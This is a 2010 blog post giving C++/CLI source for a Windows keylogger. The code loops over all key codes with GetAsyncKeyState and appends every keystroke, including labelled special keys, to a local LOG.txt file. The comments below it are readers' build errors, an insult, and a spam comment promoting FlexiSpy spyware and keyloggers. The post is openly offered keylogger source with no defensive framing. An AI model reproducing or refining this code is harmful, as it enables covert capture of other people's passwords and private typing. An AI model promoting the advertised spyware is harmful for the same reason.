Friday, June 4, 2010

How to create a simple Keylogger in VC++ 2008 [Windows FormsApplication]

Here is the code

#include <Windows.h>
#include <Winuser.h>
#undef GetCurrentDirectory
////////////////////////////////////
using namespace System::IO;
////////////////////////////////////
Keylogger();
////////////////////////////////////
wchar_t keyc; String^ path; int i;
  int save(int key)
  {
   StringWriter^ sw = gcnew StringWriter();
   path = String::Concat(Directory::GetCurrentDirectory(),"\\","LOG.txt");
   keyc = Convert::ToChar(key);
   sw->Write(keyc);
   if(key == VK_LBUTTON || key == VK_RBUTTON || key == 162 || key == 16 || key == 164 || key == 163 || key == 165)
    return 0;
   else if(key == VK_LSHIFT || key == VK_RSHIFT)
    File::AppendAllText(path,"[SHIFT]");
   else if(key == VK_CONTROL)
    File::AppendAllText(path,"[CTRL]");
   else if(key == VK_ESCAPE)
    File::AppendAllText(path,"[ESC]");
   else if(key == VK_END)
    File::AppendAllText(path,"[END]");
   else if(key == VK_HOME)
    File::AppendAllText(path,"[HOME]");
   else if(key == VK_DELETE)
    File::AppendAllText(path,"[DEL]");
   else if(key == VK_INSERT)
    File::AppendAllText(path,"[INS]");
   else if(key == VK_CAPITAL)
    File::AppendAllText(path,"[CAPSLOCK]");
   else if(key == VK_UP)
    File::AppendAllText(path,"[UP]");
   else if(key == VK_DOWN)
    File::AppendAllText(path,"[DOWN]");
   else if(key == VK_LEFT)
    File::AppendAllText(path,"[LEFT]");
   else if(key == VK_RIGHT)
    File::AppendAllText(path,"[RIGHT]");
   else if(key == VK_TAB)
    File::AppendAllText(path,"[TAB]");
   else if(key == VK_BACK)
    File::AppendAllText(path,"[BACKSPACE]");
   else if(key == VK_RETURN)
   { 
    File::AppendAllText(path,"[ENTER]");
           sw->WriteLine(); File::AppendAllText(path,sw->ToString());   
   }
   else if(key == VK_MENU)
    File::AppendAllText(path,"[ALT]");
   else if(key == VK_NUMPAD0)
    File::AppendAllText(path,"0");
   else if(key == VK_NUMPAD1)
    File::AppendAllText(path,"1");
   else if(key == VK_NUMPAD2)
    File::AppendAllText(path,"2");
   else if(key == VK_NUMPAD3)
    File::AppendAllText(path,"3");
   else if(key == VK_NUMPAD4)
    File::AppendAllText(path,"4");
   else if(key == VK_NUMPAD5)
    File::AppendAllText(path,"5");
   else if(key == VK_NUMPAD6)
    File::AppendAllText(path,"6");
   else if(key == VK_NUMPAD7)
    File::AppendAllText(path,"7");
   else if(key == VK_NUMPAD8)
    File::AppendAllText(path,"8");
   else if(key == VK_NUMPAD9)
    File::AppendAllText(path,"9");
   else if(key == VK_MULTIPLY)
    File::AppendAllText(path,"*");
   else if(key == VK_ADD)
    File::AppendAllText(path,"+");
   else if(key == VK_OEM_COMMA)
    File::AppendAllText(path,",");
   else if(key == VK_SUBTRACT || key == 189)
    File::AppendAllText(path,"-");
   else if(key == VK_OEM_PERIOD || key == 110)
    File::AppendAllText(path,".");
   else if(key == VK_DIVIDE)
    File::AppendAllText(path,"/");
   else if(key == VK_OEM_1)
    File::AppendAllText(path,";");
   else if(key == VK_OEM_2)
    File::AppendAllText(path,"/");
   else if(key == VK_OEM_3)
    File::AppendAllText(path,"~");
   else if(key == VK_OEM_4)
    File::AppendAllText(path,"[");
   else if(key == VK_OEM_5)
    File::AppendAllText(path,"\\");
   else if(key == VK_OEM_6)
    File::AppendAllText(path,"]");
   else if(key == 187)
    File::AppendAllText(path,"=");
   else if(key == 222)
    File::AppendAllText(path,"'");
   else if(key == VK_NUMLOCK)
    File::AppendAllText(path,"[NUMLOCK]");
   else if(key == VK_LWIN || key == VK_RWIN)
    File::AppendAllText(path,"[WINDOWS]");
   else
    File::AppendAllText(path,sw->ToString());
   return 0;
  }
  void Keylogger()
  {
   while(true)
   {
    for(i=0; i<=255; i++)
    {
     if(GetAsyncKeyState(i) == -32767)
      save(i);
    }
   }
  }

6 comments:

  1. i have to remove all them 100 101 102 103 104
    so annoying

    ReplyDelete
  2. 1>c:\users\goncalo.morais\documents\visual studio 2010\projects\trabalho\trabalho\Form1.h(66): error C2039: 'Form1_Load' : is not a member of 'Trabalho::Form1'
    1> c:\users\goncalo.morais\documents\visual studio 2010\projects\trabalho\trabalho\Form1.h(18) : see declaration of 'Trabalho::Form1'
    1>c:\users\goncalo.morais\documents\visual studio 2010\projects\trabalho\trabalho\Form1.h(66): error C2065: 'Form1_Load' : undeclared identifier
    1>c:\users\goncalo.morais\documents\visual studio 2010\projects\trabalho\trabalho\Form1.h(66): error C3350: 'System::EventHandler' : a delegate constructor expects 2 argument(s)

    HELP ME! :p

    ReplyDelete
  3. 1>------ Build started: Project: Keylogger Version1, Configuration: Debug Win32 ------
    1> Keylogger Version1.cpp
    1>Keylogger Version1.obj : error LNK2028: unresolved token (0A000011) "extern "C" short __stdcall GetAsyncKeyState(int)" (?GetAsyncKeyState@@$$J14YGFH@Z) referenced in function "private: void __clrcall KeyloggerVersion1::Form1::Keylogger(void)" (?Keylogger@Form1@KeyloggerVersion1@@$$FA$AAMXXZ)
    1>Keylogger Version1.obj : error LNK2019: unresolved external symbol "extern "C" short __stdcall GetAsyncKeyState(int)" (?GetAsyncKeyState@@$$J14YGFH@Z) referenced in function "private: void __clrcall KeyloggerVersion1::Form1::Keylogger(void)" (?Keylogger@Form1@KeyloggerVersion1@@$$FA$AAMXXZ)
    1>c:\users\administrator\documents\visual studio 2010\Projects\Keylogger Version1\Debug\Keylogger Version1.exe : fatal error LNK1120: 2 unresolved externals
    ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
    Help Please

    ReplyDelete
  4. 1>------ Build started: Project: Keylogger Version1, Configuration: Debug Win32 ------
    1> Keylogger Version1.cpp
    1>c:\users\administrator\documents\visual studio 2010\projects\keylogger version1\keylogger version1\Form1.h(176): error C2059: syntax error : 'type'
    ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
    Help

    ReplyDelete
  5. -.-' shit why you don't send link with project ? idiot !

    ReplyDelete
  6. Even FlexiSpy‘s high price will get really reasonable when you use the recording feature from the Extreme package, click keyloggers for more information!

    ReplyDelete